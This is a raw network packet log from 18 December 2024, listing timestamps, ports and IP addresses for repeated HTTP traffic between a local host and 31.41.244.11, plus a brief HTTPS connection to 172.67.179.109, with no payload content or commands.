Dec 18, 2024 19:08:52.375433922 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.375488997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.375521898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.375570059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.378025055 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.378074884 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.378202915 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.378252029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.380625963 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.380780935 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.380867004 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.380913973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.383215904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.383269072 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.383601904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.383645058 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.385715961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.385768890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.385793924 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.385838985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.388487101 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.388539076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.388701916 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.388746977 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.390980005 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.391030073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.391078949 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.391115904 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.393524885 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.393570900 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.394022942 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.394064903 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.396105051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.396152020 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.396517992 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.396559954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.398641109 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.398691893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.398929119 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.398969889 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.401211023 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.401262999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.401410103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.401451111 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.403835058 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.403901100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.404131889 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.404175997 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.406423092 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.406466961 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.406552076 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.406591892 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.408987045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.409033060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.409219980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.409260035 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.409295082 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:52.409357071 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:52.410546064 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:52.410557032 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:52.410782099 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:52.411811113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.411860943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.411921978 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.411950111 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:52.411963940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.412033081 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:52.412055016 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:52.412112951 CET	49743	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:52.412120104 CET	443	49743	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:52.414104939 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.414156914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.414184093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.414226055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.416611910 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.416661024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.416688919 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.416731119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.419244051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.419300079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.419303894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.419341087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.421776056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.421828985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.421844959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.421881914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.424372911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.424439907 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.424590111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.424631119 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.426970959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.427026033 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.427109003 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.427148104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.429461956 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.429511070 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.429589987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.429629087 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.432064056 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.432110071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.432177067 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.432218075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.434633970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.434701920 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.434757948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.434796095 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.437195063 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.437242985 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.438002110 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.438044071 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.439798117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.439867973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.439893961 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.439934015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.442341089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.442395926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.442449093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.442495108 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.444940090 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.444987059 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.445111990 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.445157051 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.447556973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.447613955 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.447628975 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.447654009 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.450092077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.450150967 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.450241089 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.450284958 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.452662945 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.452759981 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.452918053 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.453039885 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.455248117 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.455296040 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.455959082 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.456228971 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.457886934 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.457947969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.458403111 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.458450079 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.460364103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.460422039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.460649967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.460685015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.463035107 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.463138103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.463193893 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.463217974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.465677977 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.465735912 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.465878010 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.465922117 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.468148947 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.468194008 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.468264103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.468316078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.470762968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.470812082 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.470892906 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.470933914 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.473249912 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.473318100 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.473371029 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.473408937 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.475903034 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.475953102 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.476171970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.476222038 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.478369951 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.478420019 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.478471994 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.478513956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.481225967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.481286049 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.481362104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.481405973 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.483546972 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.483583927 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.483987093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.484035969 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.486164093 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.486228943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.486310959 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.486349106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.488661051 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.488723993 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.488749981 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.488792896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.491252899 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.491300106 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.491355896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.491398096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.493841887 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.493899107 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.493907928 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.493947983 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.496443033 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.496501923 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.496572971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.496609926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.499332905 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.499371052 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.499383926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.499408960 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.501530886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.501620054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.501801968 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.501882076 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.504163980 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.504215956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.504290104 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.504344940 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.506645918 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.506716013 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.506896973 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.506942987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.509232998 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.509296894 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.509326935 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.509465933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.511835098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.511877060 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.511892080 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.511950970 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.514695883 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.514758110 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.515707970 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.515772104 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.517561913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.517623901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.517685890 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.517730951 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.519903898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.519953012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.519988060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.520034075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.522326946 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.522381067 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.522504091 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.522555113 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.524751902 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.524837971 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.524851084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.524879932 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.527484894 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.527566910 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.527602911 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.527648926 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.529948950 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.530008078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.530035019 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.530081987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.532444000 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.532502890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.532512903 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.532558918 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.534981966 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.535053015 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.535118103 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.535161018 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.537537098 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.537595987 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.537621021 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.537662029 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.540196896 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.540282011 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.540314913 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.540359974 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.542679071 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.542732954 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.542794943 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.542838097 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.545275927 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.545335054 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.545361042 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.545401096 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.547971964 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.548032999 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.548233986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.548276901 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.550431967 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.550497055 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.550554991 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.550594091 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.553119898 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.553164959 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.553184986 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.553220034 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.555600882 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.555641890 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.556510925 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.556551933 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.558146954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.558187962 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.558278084 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.558315039 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.560738087 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.560780048 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.560883045 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.560919046 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.563297987 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.563350916 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.563709974 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.563746929 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.565871954 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.565922022 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.565967083 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.566006899 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.568447113 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.568496943 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.568558931 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.568597078 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.571002960 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.571060896 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.571079969 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.571120024 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.573721886 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.573790073 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.573898077 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.573935032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.576189995 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.576251984 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.576637983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.576685905 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.578731060 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.578794956 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.578826904 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.578871012 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.581307888 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.581370115 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.581377983 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.581417084 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.583879948 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.583939075 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.583970070 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.584012032 CET	49739	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:52.586458921 CET	80	49739	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:52.586514950 CET	49739	80	192.168.2.5	31.41.244.11
